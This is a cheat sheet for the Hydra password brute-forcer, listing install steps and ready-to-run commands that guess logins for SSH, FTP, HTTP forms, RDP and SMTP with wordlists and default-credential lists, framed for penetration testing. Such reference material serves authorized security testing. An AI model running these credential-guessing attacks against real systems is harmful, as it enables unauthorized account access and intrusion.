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Hydra

Fast online password brute forcer

Description

Hydra is a fast, parallelized login cracker that supports numerous protocols including SSH, FTP, HTTP, HTTPS, SMB, and many more. It's essential for brute-forcing credentials during penetration tests.

Installation

BASH
# Kali (pre-installed)
hydra -h

# Debian/Ubuntu
sudo apt install hydra

# macOS
brew install hydra

# From source
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra && ./configure && make && sudo make install

Basic Usage

BASH
# SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com

# FTP brute force
hydra -l admin -P passwords.txt ftp://target.com

# HTTP POST form
hydra -l admin -P passwords.txt target.com http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

Advanced Usage

BASH
# Multiple usernames
hydra -L users.txt -P passwords.txt ssh://target.com

# Specific port
hydra -l admin -P passwords.txt -s 2222 ssh://target.com

# Limit threads
hydra -l admin -P passwords.txt -t 4 ssh://target.com

# HTTP Basic Auth
hydra -l admin -P passwords.txt target.com http-get /admin

# RDP brute force
hydra -l administrator -P passwords.txt rdp://target.com

# SMTP brute force
hydra -l user@target.com -P passwords.txt smtp://target.com

# Resume interrupted attack
hydra -R

# Verbose + output
hydra -l admin -P passwords.txt ssh://target.com -V -o results.txt

Common Workflows

BASH
# Web login brute force with custom wordlist
cewl https://target.com -d 3 -m 5 -w custom_wordlist.txt
hydra -l admin -P custom_wordlist.txt target.com http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid"

# SSH with common creds
hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt ssh://target.com